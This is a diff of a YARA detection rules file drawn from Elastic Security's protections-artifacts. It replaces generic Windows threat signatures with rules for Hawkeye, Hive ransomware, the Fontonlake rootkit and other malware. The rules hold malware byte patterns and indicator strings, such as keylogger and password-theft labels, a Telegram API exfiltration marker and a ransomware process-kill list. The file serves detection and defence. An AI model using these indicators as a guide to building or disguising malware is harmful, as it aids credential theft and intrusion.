+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_DinvokeRust.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ebf0f1bfd166d2d49b642fa43cb0c7364c0c605d9a7f108dc49d9f1cc859ab4a"
+		logic_hash = "7be1a4e25cf41e47ab135c718b7ec5a49a2890cf873c52597f8dab4d47636ed8"
 		score = 75
-		quality = 69
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "30965c0d6ac30cfb10674b2600e5a1e7b14380072738dd7993bd3eb57c825f24"
-		severity = 50
+		fingerprint = "0587368dc33b7fee0037be9247daaeaf6846c2b4a839660511ebf5eb0fdfb087"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 50 6F 6C 79 6D 6F 64 58 54 2E 65 78 65 }
-		$a2 = { 50 6F 6C 79 6D 6F 64 58 54 20 76 31 2E 33 }
-		$a3 = { 50 6F 6C 79 6D 6F 64 20 49 6E 63 2E }
+		$s1 = { 64 69 6E 76 6F 6B 65 ?? ?? 67 65 74 5F }
+		$s2 = { 64 69 6E 76 6F 6B 65 ?? ?? 6E 74 5F }
+		$s3 = { 64 69 6E 76 6F 6B 65 ?? ?? 6C 69 74 63 72 79 70 74 }
+		$s4 = { 64 69 6E 76 6F 6B 65 5C 73 72 63 5C 6C 69 62 2E 72 73 }
+		$s5 = { 75 6E 77 69 6E 64 65 72 ?? ?? 63 61 6C 6C 5F 66 75 6E 63 74 69 6F 6E }
+		$s6 = { 75 6E 77 69 6E 64 65 72 ?? ?? 69 6E 64 69 72 65 63 74 5F 73 79 73 63 61 6C 6C }
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Windows_Generic_Threat_E96F9E97 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Hawkeye_77C36Ace : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Hawkeye (Windows.Trojan.Hawkeye)"
 		author = "Elastic Security"
-		id = "e96f9e97-cb44-42e5-a06b-98775cbb1f2f"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "77c36ace-3857-43f8-a6de-596ba7964b6f"
+		date = "2021-08-16"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L447-L465"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "bfbab69e9fc517bc46ae88afd0603a498a4c77409e83466d05db2797234ea7fc"
-		logic_hash = "1dcf81b8982425ff74107b899e85e2432f0464554e923f85a7555cda65293b54"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Hawkeye.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "28e28025060f1bafd4eb96c7477cab73497ca2144b52e664b254c616607d94cd"
+		logic_hash = "e8c1060efde0c4a073247d03a19dedb1c0acc8506fbf6eac93ac44f00fc73be1"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "2277fb0b58f923d394f5d4049b6049e66f99aff4ac874849bdc1877b9c6a0d3e"
-		severity = 50
+		fingerprint = "c9a1c61b4fa78c46d493e1b307e9950bd714ba4e5a6249f15a3b86a74b7638e5"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 7A 47 4D 5E 5A 4D 5D 4B 7D 6D 4A 41 57 4B 54 49 5F 4C 67 6D 54 52 5B 51 46 43 6F 71 40 46 45 53 67 7C 5D 6F }
+		$a1 = "Logger - Key Recorder - [" wide fullword
+		$a2 = "http://whatismyipaddress.com/" wide fullword
+		$a3 = "Keylogger Enabled: " wide fullword
+		$a4 = "LoadPasswordsSeaMonkey" wide fullword
+		$a5 = "\\.minecraft\\lastlogin" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_005Fd471 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Hawkeye_975D546C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Trojan Hawkeye (Windows.Trojan.Hawkeye)"
 		author = "Elastic Security"
-		id = "005fd471-d968-4ece-a61d-91beac4c1e34"
-		date = "2024-01-01"
-		modified = "2024-01-12"
+		id = "975d546c-286b-4753-b894-d6ed0aa832f3"
+		date = "2023-03-23"
+		modified = "2023-04-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L467-L487"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "502814ed565a923da15626d46fde8cc7fd422790e32b3cad973ed8ec8602b228"
-		logic_hash = "10493253a6b2ce3141ee980e0607bdbba72580bb4a076f2f4636e9665ffc6db8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Hawkeye.yar#L25-L48"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "aca133bf1d72cf379101e6877871979d6e6e8bc4cc692a5ba815289735014340"
+		logic_hash = "cbd8ce991059f961236a4bb83ea5a78efa661199b40fca8b09550856e932198b"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "30afbb04c257c20ccd2cff15f893715187b7e7b66a9c9f09d076d21466e25a57"
-		severity = 50
+		fingerprint = "5bbdb07fa6dd3e415f49d7f4fbc249c078ae42ebd81cad3015e32dfdc8f7cda6"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 5F 3F 44 4B 4B 66 25 37 2A 5E 70 42 70 }
-		$a2 = { 71 5A 3E 7D 6F 5D 6E 2D 74 48 5E 55 55 22 3C }
-		$a3 = { 3E 2D 21 47 45 6A 3C 33 23 47 5B 51 }
+		$s1 = "api.telegram.org"
+		$s2 = "Browsers/Passwords"
+		$s3 = "Installed Browsers.txt"
+		$s4 = "Browsers/AutoFills"
+		$s5 = "Passwords.txt"
+		$s6 = "System Information.txt"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_54B0Ec47 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Attribute_3683D149 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Attribute (Linux.Cryptominer.Attribute)"
 		author = "Elastic Security"
-		id = "54b0ec47-79f3-4187-8253-805e7ad102ce"
-		date = "2024-01-03"
-		modified = "2024-01-12"
+		id = "3683d149-fa9c-4dbb-85b9-8ce2b1d1d128"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L489-L508"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9c14203069ff6003e7f408bed71e75394de7a6c1451266c59c5639360bf5718c"
-		logic_hash = "e3d74162a8874fe05042fec98d25b8db50e7f537566fd9f4e40f92bfe868259a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Attribute.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ec9e74d52d745275718fe272bfd755335739ad5f680f73f5a4e66df6eb141a63"
+		logic_hash = "71aa8aa4171671af4aa0271b64da95ac1d8766de12a949c97ebcac9369224ecd"
 		score = 75
-		quality = 71
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "2c3890010aad3c2b54cba08a62b5af6a678849a6b823627bf9e26c8693a89c60"
-		severity = 50
+		fingerprint = "31f45578eab3c94cff52056a723773d41aaad46d529b1a2063a0610d5948a633"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 2D 2D 2D 2D 3D 5F 25 73 5F 25 2E 33 75 5F 25 2E 34 75 5F 25 2E 38 58 2E 25 2E 38 58 }
-		$a2 = { 25 73 2C 20 25 75 20 25 73 20 25 75 20 25 2E 32 75 3A 25 2E 32 75 3A 25 2E 32 75 20 25 63 25 2E 32 75 25 2E 32 75 }
+		$a = { 20 74 6F 20 66 61 73 74 29 20 6F 72 20 39 20 28 61 75 74 6F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Acf6222B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Sckit_A244328F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Sckit (Linux.Trojan.Sckit)"
 		author = "Elastic Security"
-		id = "acf6222b-5859-4b18-a770-04f8fc7f48fd"
-		date = "2024-01-03"
-		modified = "2024-01-12"
+		id = "a244328f-1e12-4ae6-b583-ecf14a4b9d82"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L510-L528"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ce0def96be08193ab96817ce1279e8406746a76cfcf4bf44e394920d7acbcaa6"
-		logic_hash = "a284b6c163dbc022bd36f19fbc1d7ff70143bee566328ad23e7b8b79abd39e91"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Sckit.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "685da66303a007322d235b7808190c3ea78a828679277e8e03e6d8d511df0a30"
+		logic_hash = "8001c9fcf9f8b70c3e27554156b0b26ddcd6cab36bf97cf3b89a4c43c9ad883c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1046de07f9594a6352a33d892da1b4dc227fdf52a8caf38e8f1532076232c7fc"
-		severity = 50
+		fingerprint = "eca152c730ecabbc9fe49173273199cb37b343d038084965ad880ddba3173f50"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 7D 10 00 75 04 33 C0 5D C3 8B 4D 08 8B 55 0C FF 4D 10 74 0E 8A 01 84 C0 74 08 3A 02 75 04 41 42 EB ED 0F B6 01 0F B6 0A 2B C1 5D C3 55 8B EC 83 EC 24 56 57 8B 7D 08 33 F6 89 75 F8 }
+		$a = { 34 D0 04 08 BB 24 C3 04 08 CD 80 C7 05 A0 EE 04 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_5E718A0C : FILE MEMORY
+rule ELASTIC_Linux_Rootkit_Fontonlake_8Fa41F5E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Rootkit Fontonlake (Linux.Rootkit.Fontonlake)"
 		author = "Elastic Security"
-		id = "5e718a0c-3c46-46f7-adfd-b0c3c75b865f"
-		date = "2024-01-03"
-		modified = "2024-01-12"
+		id = "8fa41f5e-d03d-4647-86fb-335e056c1c0d"
+		date = "2021-10-12"
+		modified = "2022-01-26"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L530-L548"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "430b9369b779208bd3976bd2adc3e63d3f71e5edfea30490e6e93040c1b3bac6"
-		logic_hash = "45068afeda7abae0fe922a21f8f768b6c74a6e0f8e9e8b1f68c3ddf92940bf9a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Rootkit_Fontonlake.yar#L1-L26"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "826222d399e2fb17ae6bc6a4e1493003881b1406154c4b817f0216249d04a234"
+		logic_hash = "e90ace26dd74ae948d2469c6f532af5ec3070a21092f8b2c4d47c4f5b9d04c09"
 		score = 75
-		quality = 73
+		quality = 50
 		tags = "FILE, MEMORY"
-		fingerprint = "b6f9b85f4438c3097b430495dee6ceef1a88bd5cece823656d9dd325e8d9d4a1"
-		severity = 50
+		fingerprint = "187aae8e659061a06b44e0d353e35e22ada9076c78d8a7e4493e1e4cc600bc9d"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 44 3A 28 41 3B 3B 30 78 30 30 31 46 30 30 30 33 3B 3B 3B 42 41 29 28 41 3B 3B 30 78 30 30 31 30 30 30 30 33 3B 3B 3B 41 55 29 }
+		$a1 = "kernel_write" fullword
+		$a2 = "/proc/.dot3" fullword
+		$a3 = "hide_pid" fullword
+		$h2 = "s_hide_pids" fullword
+		$h3 = "s_hide_tcp4_ports" fullword
+		$h4 = "s_hide_strs" fullword
+		$tmp1 = "/tmp/.tmH" fullword
+		$tmp2 = "/tmp/.tmp_" fullword
 
 	condition:
-		all of them
+		( all of ($a*) and 1 of ($tmp*)) or ( all of ($h*))
 }
-rule ELASTIC_Windows_Generic_Threat_Fac6D993 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Snowlight_F5C83D35 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Snowlight (Linux.Trojan.Snowlight)"
 		author = "Elastic Security"
-		id = "fac6d993-a9c5-4218-829d-d0f3a3b9a5a0"
-		date = "2024-01-03"
-		modified = "2024-01-12"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L550-L568"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f3e7c88e72cf0c1f4cbee588972fc1434065f7cc9bd95d52379bade1b8520278"
-		logic_hash = "3486793324dbe43c908432e1956bbbdb870beb4641da46b3786581fd3e78811a"
+		id = "f5c83d35-aaa5-4356-b4e7-93dc19c0c6b1"
+		date = "2024-05-16"
+		modified = "2024-06-12"
+		reference = "https://www.mandiant.com/resources/blog/initial-access-brokers-exploit-f5-screenconnect"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Snowlight.yar#L1-L20"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7d6652d8fa3748d7f58d7e15cefee5a48126d0209cf674818f55e9a68248be01"
+		logic_hash = "fef8f44e897a0f453be2f84d28886d27e261f8256c53c0425c5265b138ce5f40"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7502d32cf94496b73e476c7521b84a40426676b335a86bdf1bce7146934efcee"
-		severity = 50
+		fingerprint = "89adbef703bec7c41350e97141d414535f5935c6c6957a0f8b25e07f405ea70e"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 E4 F8 81 EC 4C 04 00 00 53 8B D9 8B 4D 2C 33 C0 89 01 8B 4D 30 56 0F B6 B3 85 00 00 00 89 01 8B 4D 34 57 0F B6 BB 84 00 00 00 89 01 8B 4D 38 89 54 24 10 89 01 8D 44 24 48 50 FF 15 }
+		$a = { 48 83 EC 08 48 8B 05 A5 07 20 00 48 85 C0 74 05 E8 BB 00 00 00 48 83 C4 08 C3 00 00 00 00 00 00 FF 35 9A 07 20 00 FF 25 9C 07 20 00 0F 1F 40 00 FF 25 9A 07 20 00 68 00 00 00 00 E9 E0 FF FF FF }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_E7Eaa4Ca : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Hive_55619Cd0 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Ransomware Hive (Windows.Ransomware.Hive)"
 		author = "Elastic Security"
-		id = "e7eaa4ca-45ee-42ea-9604-d9d569eed0aa"
-		date = "2024-01-04"
-		modified = "2024-01-12"
+		id = "55619cd0-6013-45e2-b15e-0dceff9571ab"
+		date = "2021-08-26"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L570-L587"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "600da0c88dc0606e05f60ecd3b9a90469eef8ac7a702ef800c833f7fd17eb13e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Hive.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609"
+		logic_hash = "51e2b03a9f9b92819bbf05ecbb33a23662a40e7d51f9812aa8243c4506057f1f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "ede23e801a67bc43178eea87a83eb0ef32a74d48476a8273a25a7732af6f22a6"
+		fingerprint = "04df3169c50fbab4e2b495de5500c62ddf5e76aa8b4a7fc8435f39526f69c52b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -92239,1672 +96172,1716 @@ rule ELASTIC_Windows_Generic_Threat_E7Eaa4Ca : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a = { C8 F7 C6 A8 13 F7 01 E9 2C 99 08 00 4C 03 D1 E9 }
+		$a1 = "google.com/encryptor.(*App).KillProcesses" ascii fullword
+		$a2 = "- Do not shutdown or reboot your computers, unmount external storages." ascii fullword
+		$a3 = "hive"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_97703189 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Hive_3Ed67Fe6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Ransomware Hive (Windows.Ransomware.Hive)"
 		author = "Elastic Security"
-		id = "97703189-bcac-4b6c-b0d4-9167f5e8085d"
-		date = "2024-01-04"
-		modified = "2024-01-12"
+		id = "3ed67fe6-6347-4aef-898d-4cb267bcbfc7"
+		date = "2021-08-26"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L589-L607"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "968ba3112c54f3437b9abb6137f633d919d75137d790af074df40a346891cfb5"
-		logic_hash = "318bc82d49e9a3467ec0e0086aaf1092d2aa7c589b5f16ce6fbb3778eda7ef0b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Hive.yar#L23-L45"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609"
+		logic_hash = "a599f0d528bdbec00afa7e9a5cddec5e799ee755a7f30af70dde7d2459b70155"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9126c3aeaa4ed136424c20aa8e7a487131adc1ae22eb8ab4f514b4687855816f"
-		severity = 50
+		fingerprint = "a15acde0841f08fc44fdc1fea01c140e9e8af6275a65bec4a7b762494c9e6185"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 5D E9 2A 1C 00 00 8B FF 55 8B EC 8B 45 08 56 8B F1 C6 46 0C 00 85 C0 75 63 E8 6F 29 00 00 89 46 08 8B 48 6C 89 0E 8B 48 68 89 4E 04 8B 0E 3B 0D 98 06 49 00 74 12 8B 0D B4 05 49 00 85 }
+		$a1 = "bmr|sql|oracle|postgres|redis|vss|backup|sstp"
+		$a2 = "key.hive"
+		$a3 = "Killing processes"
+		$a4 = "Stopping services"
+		$a5 = "Removing itself"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Ca0686E1 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Hive_B97Ec33B : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Windows Ransomware Hive (Windows.Ransomware.Hive)"
 		author = "Elastic Security"
-		id = "ca0686e1-001f-44d2-ae2f-51c473769723"
-		date = "2024-01-05"
-		modified = "2024-01-12"
+		id = "b97ec33b-d4cf-4b70-8ce8-8a5d20448643"
+		date = "2021-08-26"
+		modified = "2022-01-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L609-L627"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "15c7ce1bc55549efc86dea74a90f42fb4665fe15b14f760037897c772159a5b5"
-		logic_hash = "12b2ff66d1be6e2d27f24489b389b5c84660921e8de41653b2b425077cc87669"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Hive.yar#L47-L65"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "50ad0e6e9dc72d10579c20bb436f09eeaa7bfdbcb5747a2590af667823e85609"
+		logic_hash = "10034d9f53fd5099a423269e0c42c01eac18318f5d11599e1390912c8fd7af25"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "4663eefedb6f3f502adfb4f64278d1c535ba3a719d007a280e9943914121cd81"
-		severity = 50
+		fingerprint = "7f2c2d299942390d953599b180ed191d9db999275545a7ba29059fd49b858087"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 8B 5D 08 56 57 8B F9 8B 77 10 8B C6 2B C3 89 75 FC 3B 45 0C 72 03 8B 45 0C 83 7F 14 10 72 02 8B 0F 8D 14 19 2B F0 8B CE 03 C2 2B CB 41 51 50 52 E8 62 1A 00 00 83 C4 0C 8B CF 56 }
+		$a1 = { 74 C3 8B 44 24 78 8B 08 8B 50 04 8B 40 08 89 0C 24 89 54 24 04 89 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_97C1A260 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Cleanlog_C2907D77 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Hacktool Cleanlog (Linux.Hacktool.Cleanlog)"
 		author = "Elastic Security"
-		id = "97c1a260-9b43-458e-a9ac-2391aee1bcb8"
-		date = "2024-01-07"
-		modified = "2024-01-12"
+		id = "c2907d77-6ea9-493f-a7b3-4a0795da0a1d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L629-L647"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2cc85ebb1ef07948b1ddf1a793809b76ee61d78c07b8bf6e702c9b17346a20f1"
-		logic_hash = "5bd84cbdd4ba699c9e9d87e684071342b23138538bd83ffea8c524fcee26a59b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Cleanlog.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "613ac236130ab1654f051d6f0661fa62414f3bef036ea4cc585b4b21a4bb9d2b"
+		logic_hash = "39b72973bbcddf14604b8ea08339657cba317c23fd4d69d4aa0903b262397988"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9cd93a8def2d2fac61a5b37d82b97c18ce8bf3410aa6ec7531ec28378f5c98cc"
-		severity = 50
+		fingerprint = "131c71086c30ab22ca16b3020470561fa3d32c7ece9a8faa399a733e8894da30"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 51 53 56 57 E8 14 31 00 00 8B F0 85 F6 0F 84 39 01 00 00 8B 16 33 DB 8B CA 8D 82 90 00 00 00 3B D0 74 0E 8B 7D 08 39 39 74 09 83 C1 0C 3B C8 75 F5 8B CB 85 C9 0F 84 11 01 00 00 8B 79 }
+		$a = { 89 E5 48 83 EC 10 89 7D FC 83 7D FC 00 7E 11 8B 45 FC BE 09 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_A440F624 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Cleanlog_3Eb725D1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Hacktool Cleanlog (Linux.Hacktool.Cleanlog)"
 		author = "Elastic Security"
-		id = "a440f624-c7ec-4f26-bfb5-982bae5f6887"
-		date = "2024-01-07"
-		modified = "2024-01-12"
+		id = "3eb725d1-24de-427a-b6ed-3ca03c0716df"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L649-L668"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3564fec3d47dfafc7e9c662654865aed74aedeac7371af8a77e573ea92cbd072"
-		logic_hash = "23c759a0db5698b28a69232077a6b714f71e8eaa069d2f02a7d3efc48b178a2b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Cleanlog.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4df4ebcc61ab2cdb8e5112eeb4e2f29e4e841048de43d7426b1ec11afe175bf6"
+		logic_hash = "a9530aca53d935f3e77a5f0fc332db16e3a2832be67c067e5a6d18e7ec00e39f"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0f538f8f4eb2e71fb74d8305a179fc2ad880ab5a4cfd37bd35b5da2629ed892c"
-		severity = 50
